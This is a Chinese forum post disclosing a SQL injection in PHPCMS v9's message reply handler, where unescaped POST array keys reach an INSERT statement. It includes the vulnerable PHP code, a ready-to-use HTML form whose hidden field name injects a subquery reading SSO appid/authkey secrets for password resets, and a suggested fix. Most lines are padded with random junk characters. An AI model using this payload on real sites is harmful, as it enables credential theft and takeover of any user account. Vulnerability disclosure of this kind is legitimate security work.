|
简要描述:/ L$ Q: [4 l. e& n
& x9 S, u* \3 ^) `0 Y; }
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。$ ^0 z7 J& C8 u
5 @2 @$ p- `, E1 z G4 H
明天再更新下一个漏洞。
; t/ l+ H( O0 h1 h详细说明:) {# P ^! h. {6 B" R
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
: {4 K5 Y, z* K' N
9 j7 P: I8 [; p$messageid = $this->message_db->insert($_POST['info'],true);# q, H* k6 n5 p6 U3 z0 H2 j4 ?
" b" d* i$ a; [* B
6 @! r9 a. M' ?- a1 u1 O1 ~insert方法是key value的,代码如下:4 ~) w9 C% {! ^1 p6 W
& Y5 T3 ~( I% h2 ^public function insert($data, $table, $return_insert_id = false, $replace = false) {
$ k2 |" D4 H7 T1 y if(!is_array( $data ) || $table == '' || count($data) == 0) {
5 O2 T" p6 d* D5 E( Z/ A' q return false;
4 G$ q- _& i6 r* C9 b( ] }7 o) M' ^! F H
" N( T& k0 }& n
$fielddata = array_keys($data);8 l' \- H0 d4 v W
$valuedata = array_values($data);
3 X/ _4 p& l& @1 s5 z2 `: ]- m6 c7 M array_walk($fielddata, array($this, 'add_special_char')); m7 f' c1 o7 T: h) P9 ^& E3 A
array_walk($valuedata, array($this, 'escape_string'));# [7 x& ^! u% F( d5 c
1 Q% a& Q9 X5 B2 i $field = implode (',', $fielddata);
7 ^/ g7 u% @5 Q/ H$ T' L( L $value = implode (',', $valuedata);
$ U( C8 }" w7 e* V% ^* ~. G/ X7 Z* ^0 d
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
! h" F9 U) r: c3 I0 n7 s $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';1 R8 K2 B6 [( K& w2 V) v
$return = $this->execute($sql);; W* R, |# D2 v Q, D3 x
return $return_insert_id ? $this->insert_id() : $return;7 l7 ]2 `& W0 J4 [
}3 D4 {9 D4 P7 n- t# C; J
; b) p# ?, i$ q9 U% G
: V# o% n5 G# a$ B; G
嗯,很遗憾的是
5 {+ z/ ~/ `! B; O" L/ ^0 ]+ d
8 m4 W0 A6 `; m7 @5 T, V- Y3 l5 karray_walk($fielddata, array($this, 'add_special_char'));. k" M' [# b0 `, N4 L
6 O6 |& v* I" e9 ~3 H5 g( T7 s" w# k7 l+ h) K @
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。! X$ ?2 {. ]" W
; J$ m% \0 Q8 C! A o7 A
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。$ ~; _2 n# ^+ P v# m
' |9 y9 ^6 u4 V9 p- L# K
漏洞证明:
; E8 v* K6 R& Q# t! Z2 Z读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
7 n) A0 c" q/ C; {
( g: U4 r ^# t: y4 \
1 i4 Y7 A: k: M7 Q' L" G9 x表单如下:用户名什么的得自己改一改。5 v- P- F" M4 L }/ {' u
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
# U* N, e' h) R8 ^% F( A8 P<table width="100%" cellspacing="0" class="table_form">
9 i9 Q$ d0 h2 k, y _<tr>
5 R5 {4 m* d ] F<th>标 题:</th>
W! {) {7 t. n; P<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
5 Y' r6 z/ k8 O3 p$ S- a; |& |</tr> + p4 A) G6 ?) a- n
<tr>
, ]$ @) o' T3 Y1 [* `$ X<th>内 容:</th>
4 D, O& g9 `7 P G! M& |) ~<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>( ^: d! ?" q- `9 \$ U, S0 k0 Y
</tr>: k' R2 |& J( N1 Z2 V) [- n5 {
<input type="hidden" name="info[replyid]" value="2" /> $ w- H) `. ^) U& P, I2 s- R
<input type="hidden" name="info[send_to_id]" value="cc" />
' l; n* N5 ^: F- H' D<input type="hidden" name="info[send_from_id]" value="hh">
2 r4 g2 J4 s! e& \' J<!-- 漏洞的利用重点在这里开始 -->4 a" f" E- E! }
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> $ [0 j4 h& @: p& z, i
<!-- 漏洞的利用重点在这里结束 -->+ |$ Y- Z$ z- x0 J$ a: q
<tr>
# R. m! n9 m j' g x w8 J<th>验证码:</th>6 e2 F9 Z* T& n% t" |6 `
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
* V2 F/ \5 }* G</tr>2 S0 t: S2 p. q3 J! k
<tr>
' p- H, D- r+ A<td></td>/ f7 t# Z6 |* r3 H {2 I2 s
<td colspan="2"><label>
# w. E* e' F: k3 V<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>3 C/ I: f4 l% L- a
</label></td>; O# g1 O+ ~2 r8 P
</tr>+ y: }) ?# u9 P, @
</table>; _% ~8 d1 b: O0 ~, o
</form>2 F) Q" j: [- p/ Z- |3 i5 S y" P
在add_special_char函数内对key做过滤就可以了。
* U/ }. x8 _2 u% r; C
8 o; [: G+ [! a! ~; g% W
- M8 |" W) s2 X$ J
! a% z. ?( d, _! Z. \: {1 m |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|